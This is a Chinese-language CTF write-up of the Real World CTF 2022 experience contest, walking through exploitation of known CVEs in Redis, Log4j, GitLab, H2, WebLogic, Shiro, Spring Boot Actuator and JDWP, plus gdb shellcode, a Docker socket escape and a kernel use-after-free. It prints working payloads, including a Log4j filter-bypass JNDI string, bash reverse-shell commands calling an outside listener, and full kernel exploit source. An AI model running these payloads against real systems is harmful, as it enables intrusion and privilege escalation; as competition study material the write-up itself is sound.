Real World CTF 2022 体验赛 Writeup


本文最后更新于:2022年1月23日 上午

Write Before

一个人干了一天的web,再加上学弟的帮助,终于第一次在比赛里把所有web题都干掉了(PwnKernel都是学长做的,我太菜了不会),我们也成功把名次干到了能拿奖品的位次,可喜可贺,可喜可贺~(能说不愧是Real World CTF的体验赛嘛,Web全是CVE

Check-in

Digital Souvenir

Find out the redemption code for the digital souvenir for audience and put it in the flag format rwctf{something}.

真就签到题,别想多了,直接在公告里找到

flag: rwctf{RealWorldIsAwesome}

Web

Be-a-Database-Hacker

Have fun hacking one of the most popular in-memory databases in the world.

主从复制 RCE

直接使用redis-rogue-server

Be-a-Database-Hacker

flag:rwctf{c4374dba71fbf50144f7a1a04b7f5837}

log4flag

Make log injection great.

使用log4j-shell-poc进行shell反弹.

注意使用jd-gui查看SecurityFilter.class源码时发现有正则匹配过滤,通过文章发现可以采用关键字截取绕过.

private static final Pattern pattern = Pattern.compile("(\\$\\{jndi:)|(ldap:)|(rmi:)");

查看LoginServlet.class源码发现注入点在username

public class LoginServlet extends HttpServlet {
  private static final Logger logger = LogManager.getLogger(LoginServlet.class);
  
  private static final String USERNAME = "admin";
  
  private static final String PASSWORD = "admin";
  
  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String username = req.getParameter("username");
    String password = req.getParameter("password");
    if ("admin".equals(username) && "admin".equals(password)) {
      logger.info("Login success");
      req.getSession().setAttribute("user", "admin");
      resp.sendRedirect("/hello.html");
    } else {
      logger.error("User {} login failed", username);
      resp.sendRedirect("/error.html");
    } 
  }
}

于是直接在Username处输入${${:::::-j}ndi:${:::::-l}dap://<local_server_ip>:1389/a},本地得到反弹shell,找到flag在根目录下.

log4flag

flag:rwctf{d4b4b837f95542aa93b43ee280b230d8}

baby flaglab

Hope this challenge can bring back the flaglab pwning experience in Real World CTF 2018.

Note: For the remote envrionment, after proof-of-work, it may still take a few minutes to launch the flaglab website. If you can’t access the web page, just be patient:-)

HINT: Baby flaglab is too immaturate to properly process images.

根据题目提示找到GitLab 远程命令执行漏洞复现(CVE-2021-22205),直接按照文章反弹shell即可。

# 写入反弹shell脚本
python3 CVE-2021-22205.py -a true -t http://47.102.106.96:39459/ -c "echo 'bash -i >& /dev/tcp/<local_server_ip>/1389 0>&1' > /tmp/1.sh"
# 给执行权限
python3 CVE-2021-22205.py -a true -t http://47.102.106.96:39459/ -c "chmod +x /tmp/1.sh"
# 服务器监听1389端口
nc -lvnp 1389
# 运行,获取git权限shell
python3 CVE-2021-22205.py -a true -t http://47.102.106.96:39459/ -c "/bin/bash /tmp/1.sh"

flag:rwcft{4edb62cb7b37d647e13bfed4f8d4b860}

Be-a-Database-Hacker 2

If you are a php+apache+mysqler, don’t miss this chance to taste this new database.

网上查找h2database相关cve,找到几天前新鲜出炉的CVE-2021-42392,阅读文章,发现和之前log4j的利用方式差不多,可以使用之前的log4j-shell-poc进行shell反弹.

Driver Class:javax.naming.InitialContext
JDBC URL:ldap://<local_server_ip>:1389/a

Be-a-Database-Hacker 2

flag:rwctf{6288999b40cda6a393f247ef82e137e2}

Flag Console

Hack weblogic with only one url.

根据题目提示找到Weblogic Console HTTP协议远程代码执行漏洞复现(CVE-2020-14882),直接利用CVE-2020-14882_ALL执行cat /flag

flag:rwctf{a4c0185ddf2a4e679bd6f1df137c12ba}

Ghost Shiro

Ghostcat spies on everything of the website. No KEYs are exceptions.

分析源码和题目给的端口信息,确定利用AJP的CVE-2020-1938和Shiro的CVE-2016-4437漏洞,先使用AJP的CVE-2020-1938读取网站目录下的/WEB-INF/shiro.ini,得到rememberMe的密钥ODN6dDZxNzh5ejB6YTRseg==(这里可以msf一把梭),接着使用Shiro的CVE-2016-4437的工具,这里使用ShiroAttack2,直接远程命令执行cat /root/flag.txt.

Ghost-Shiro

flag:wctf{1b3df79b3c0e39f5b9f8815914403432}

the Secrets of Memory

Have fun digging into Spring Boot Actuator and hope you can reveal the Secrets of Memory.

由题中 Spring Boot Actuator以及Memeory关键词入手,确定目标为Spring Boot Actuator的heapdump漏洞。通过Actuator暴露的heapdump结点,可以获得框架heapdump。

利用Eclipse Memory Analyzer分析heapdump。通过附件中spring.datasource.password=this_is_flag提示信息,定位到对应键,通过dominator tree得到其值

flag:rwcft{d597d5defdd22829d8587efb9f9d0954}

Java Remote Debugger

What would you do if you get a remote debugger for Java?

通过题目信息,可以找到jdwp漏洞利用工具jdwp-shellifier,需要python2,在jdwp-shellifier-windows有打包好的exe,可以直接使用。通过文章,可以对反弹shell进行base64编码进行利用。

.\jdwp-shellifier.exe -t 139.196.23.201 -p 8888 --break-on "java.lang.String.indexof" --cmd "bash -c {echo,<base64编码后的反弹shell>}|{base64,-d}|{bash,-i}"

Pwn

Remote Debugger

What would you do if you get a remote debugger?

给了一个gdb的远程连接,思路是写一个orw shellcode把flag读出来,shellcode可以用gdb的set命令直接写进内存里。
做题过程中发现远程连接里write的东西不会发送过来,那只能用gdb直接读取内存来拿flag了。

用pwntools简单生成一个shellcode

shellcode = ''
shellcode += shellcraft.open('/flag')
shellcode += shellcraft.read('rax','rsp',0x100)
shellcode += shellcraft.write(1,'rsp',0x100)
print(shellcode)
payload1 = asm(shellcode)

然后转换成long整数,用set命令一个一个的敲进rip的位置,然后continue,然后用x去读$rsp就行了

flag:rwctf{gdb-is_awes0me!!!}

Be-a-Docker-Escaper

Do you want to be a docker escaper? So you need to be patient. It takes minutes for me to get a docker ready for you. I can’t make it faster without kvm, but I think you can do it locally.

宿主机的docker socket被挂载到容器内部,所以在容器内安装docker,然后在容器内对宿主docker进行操作,挂载宿主根目录到新容器内,再打印。

docker -H unix:///s run -v /:/aa ubuntu /bin/bash -c "cat /aa/root/flag"
rwctf{d69cc63cfb70f1ab6726edeb7254dadd}

Kernel

Digging into Kernel

Tired of hacking applications? Let’s take a low level journey into the kernel.

打开两次设备,关掉一个,可以use after free,分配的内存大小等于cred大小,所以fork之后子进程的cred结构体分配到uaf的内存里,子进程覆盖cred里面的uid,提权root。不知道为什么execve会炸掉,所以改成orw的写法了。可执行程序转换成base64扔进控制台

cat << "EOF" > a.b
<略去base64编码的程序>
base64 -d a.b > a
chmod +x a
./a

#include <signal.h>
#include <stdint.h>
#include <sys/syscall.h>
#define O_RDONLY 0
#define NULL 0
extern long syscall(long __sysno, ...);
struct arg {
  void *user_mem;
  uint32_t offset;
  uint32_t size;
};
int open(const char *__file, int __oflag) {
  return syscall(SYS_open, __file, __oflag);
}
int read(int __fd, void *__buf, size_t __nbytes) {
  return syscall(SYS_read, __fd, __buf, __nbytes);
}
int write(int __fd, const void *__buf, size_t __n) {
  return syscall(SYS_write, __fd, __buf, __n);
}
int ioctl(int __fd, unsigned long __request, void *__argp) {
  return syscall(SYS_ioctl, __fd, __request, __argp);
}
int close(int __fd) { return syscall(SYS_close, __fd); }
int execve(const char *__path, char *const __argv[], char *const __envp[]) {
  return syscall(SYS_execve, __path, __argv, __envp);
}
__pid_t fork() { return syscall(SYS_fork); }
__pid_t wait4(__pid_t __pid, int *__stat_loc, int __options,
              void *__usage) {
  return syscall(SYS_wait4, __pid, __stat_loc, __options, __usage);
}
void __exit(int c) { syscall(SYS_exit, c); }
void _start() {
  uint8_t mem1[64] = {};
  struct arg arg;
  int fd = open("/dev/xkmod", O_RDONLY);
  int fd2 = open("/dev/xkmod", O_RDONLY);
  if (fd < 0 || fd2 < 0) {
    __exit(1);
  }
  ioctl(fd2, 0x1111111, &arg);
  close(fd2);
  int pid = fork();
  if (pid == 0) {
    arg.user_mem = mem1;
    arg.offset = 8;
    arg.size = 24;

    ioctl(fd, 0x6666666, &arg);

    int fd3 = open("/flag", O_RDONLY);
    read(fd3, mem1, 64);
    write(1, mem1, 64);

  } else {
    wait4(pid, NULL, 0, NULL);
  }
  __exit(0);
}
.intel_syntax noprefix
.globl	syscall
syscall:
    mov     rax, rdi
    mov     rdi, rsi
    mov     rsi, rdx
    mov     rdx, rcx
    mov     r10, r8
    mov     r8, r9
    mov     r9, [rsp+8]
    syscall
    cmp     rax, 0xFFFFFFFFFFFFF001
    jnb     short loc_F7682
    ret
loc_F7682:
    // mov     rcx, cs:val3
    // neg     eax
    // mov     fs:[rcx], eax
    or      rax, 0xFFFFFFFFFFFFFFFF
    ret

编译gcc -nostdlib -static test.c syscall.S

Digging into Kernel 2

Oops, the journey into the kernel gets stuck at the beginning. Let’s move on the way.

用1的exp直接过了,看起来1题我写复杂了

Last

PS:官方弄的数字纪念品NFT是真的好看~


文章作者: SpaceSkyNet
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 SpaceSkyNet !
  目录
评论